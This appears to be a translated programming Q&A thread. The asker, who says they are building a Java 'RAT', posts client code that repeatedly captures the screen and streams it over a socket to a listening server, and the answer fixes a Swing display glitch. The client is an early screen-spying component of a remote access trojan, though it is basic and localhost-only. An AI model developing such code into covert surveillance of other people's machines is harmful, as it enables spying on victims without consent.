0

我正在尝试制作一个 java RAT,但 atm 我只有屏幕显示。当我运行它时,它会在 JFrame 上很好地显示屏幕,但是每次绘制时它都会将相同的图像拖得更低一点,如下所示: 屏幕

客户:

import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.GZIPOutputStream;
import javax.imageio.ImageIO;

public class Client {

    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            Toolkit toolkit = Toolkit.getDefaultToolkit();
            Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight());
            Socket socket = new Socket("127.0.0.1", 25565);
            GZIPOutputStream out = new GZIPOutputStream(socket.getOutputStream());

            while(socket.isConnected()) {
                ImageIO.write(robot.createScreenCapture(screen), "png", out);
            }
            out.close();
        } catch (AWTException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

服务器:

import java.awt.image.BufferedImage;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.GZIPInputStream;

import javax.imageio.ImageIO;

public class Server {

    public static void main(String[] args) {
        try {
            ServerFrame frame = new ServerFrame();
            ServerSocket serverSocket = new ServerSocket(25565);
            Socket socket = serverSocket.accept();
            GZIPInputStream in = new GZIPInputStream(socket.getInputStream());
            BufferedImage image = null;
            while(socket.isConnected()) {
                image = ImageIO.read(in);
                if(image != null) {
                    frame.setBufferedImage(image);
                }
            }
            in.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

服务器框架:

import java.awt.Graphics;
import java.awt.image.BufferedImage;

import javax.swing.JFrame;

public class ServerFrame extends JFrame {

    private BufferedImage image;

    public ServerFrame() {
        setTitle("RAT");
        setSize(1920, 1080);
        setVisible(true);
        image = null;
    }

    public void setBufferedImage(BufferedImage image) {
        this.image = image;
        this.repaint();
    }

    public void paint(Graphics g) {
        if(image != null) {
            g.drawImage(image, 0, 0, this);
        }
    }
}
4

1 回答 1

0

由于某种原因,当您查看最大化的框架时,当您在 中绘制时,屏幕截图的g.drawImage(image, 0, 0, this); 绘制JFrame开始向上和向左滑动。

尝试ServerFrame从a 扩展JPanel并将其添加到 a JFrame,这样您就可以在左上角获得一个锚点。您也可以在其中添加一个JScrollPane,以便您可以使用屏幕截图浏览整个面板。

这是我用来复制您的情况的代码,只要按下一个键,它就会捕获屏幕。我将ServerFrame课程重命名为ScreenCapture.

希望能帮助到你。

import java.awt.AWTException;
import java.awt.Graphics;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.image.BufferedImage;

import javax.swing.JFrame;
import javax.swing.JPanel;

public class ScreenCapture extends JPanel implements KeyListener {

    private BufferedImage image;

    public ScreenCapture() {
        setSize(1920, 1080);
        setVisible(true);
        image = null;       
    }

    public void setBufferedImage() throws AWTException {
        Robot robot = new Robot();
        Toolkit toolkit = Toolkit.getDefaultToolkit();
        Rectangle screen = new Rectangle((int) toolkit.getScreenSize().getWidth(), (int) toolkit.getScreenSize().getHeight());
        this.image = robot.createScreenCapture(screen);
        this.repaint();
    }

    public void paint(Graphics g) {
        if (image != null) {
            g.drawImage(image, 0, 0, this);
        }
    }

    @Override
    public void keyTyped(KeyEvent e) {}

    @Override
    public void keyPressed(KeyEvent e) {
        try {
            setBufferedImage();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }
    }

    @Override
    public void keyReleased(KeyEvent e) {}

    public static void main(String [] args) {
        ScreenCapture capture = new ScreenCapture();

        JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.addKeyListener(capture);
        frame.add(capture);
        frame.setSize(500, 500);
        frame.setVisible(true);
    }
}

编辑

这是一段将图像包装在JScollPane.

import java.awt.AWTException;
import java.awt.BorderLayout;
import java.awt.Graphics;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.image.BufferedImage;

import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JScrollPane;

public class ScreenCapture extends JLabel implements KeyListener {

    private BufferedImage image;

    public ScreenCapture() {
        setSize(1920, 1080);
        setVisible(true);
        image = null;
    }

    public void setBufferedImage() throws AWTException {
        Robot robot = new Robot();
        Toolkit toolkit = Toolkit.getDefaultToolkit();
        Rectangle screen = new Rectangle((int) toolkit.getScreenSize()
                .getWidth(), (int) toolkit.getScreenSize().getHeight());
        this.image = robot.createScreenCapture(screen);
        this.setIcon(new ImageIcon(this.image));
        this.repaint();
    }

    @Override
    public void keyTyped(KeyEvent e) {
    }

    @Override
    public void keyPressed(KeyEvent e) {
        try {
            setBufferedImage();
        } catch (AWTException e1) {
            e1.printStackTrace();
        }
    }

    @Override
    public void keyReleased(KeyEvent e) {
    }

    public static void main(String[] args) {
        JPanel panel = new JPanel();
        panel.setLayout(new BorderLayout());

        ScreenCapture capture = new ScreenCapture();
        JScrollPane scroll = new JScrollPane();
        scroll.getViewport().add(capture);
        panel.add(scroll, BorderLayout.CENTER);

        JFrame frame = new JFrame();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.getContentPane().add(panel);
        frame.addKeyListener(capture);
        frame.setSize(500, 500);
        frame.setVisible(true);
    }
}
于 2012-08-07T16:36:33.753 回答